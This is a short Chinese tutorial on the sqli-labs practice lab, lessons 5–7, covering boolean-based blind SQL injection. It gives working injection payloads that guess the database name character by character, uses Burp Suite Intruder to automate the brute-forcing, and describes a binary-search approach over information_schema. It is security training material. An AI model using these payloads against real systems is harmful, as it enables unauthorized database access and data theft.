sqli-labs Less5-Less7
首先补充一段基础知识 Less-5 当输入正确时返回“You are in ......”当输入错误时没有返回结果 ?id=1' and left((select database()),1)='s'--+ 判断数据库第一个字符是不是s ?id=1' and left((select database()),1)='a'--+ 注入错误,使用Burp Suite进行暴力破解 使用之前先设置浏览器的手动代理,端口为8080 选中右击,选择“send to intruder” 打开Intruder的 Positions 点击右侧clear,只选中a,点击右侧Add 进入Payloads,修改以下几个地方 options中修改 点击暴力破解 start attack 点击length,通过对比发现s的长度短,并在下方相应位置找到You are in,由此我们可以知道第一个字母是s 如果想知道后面的字母那就改成下图样式,根据上面的步骤,以此类推将security破解出来 第二种方法 通过二分法进行测试 ?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>10--+ select schema_name from information_schema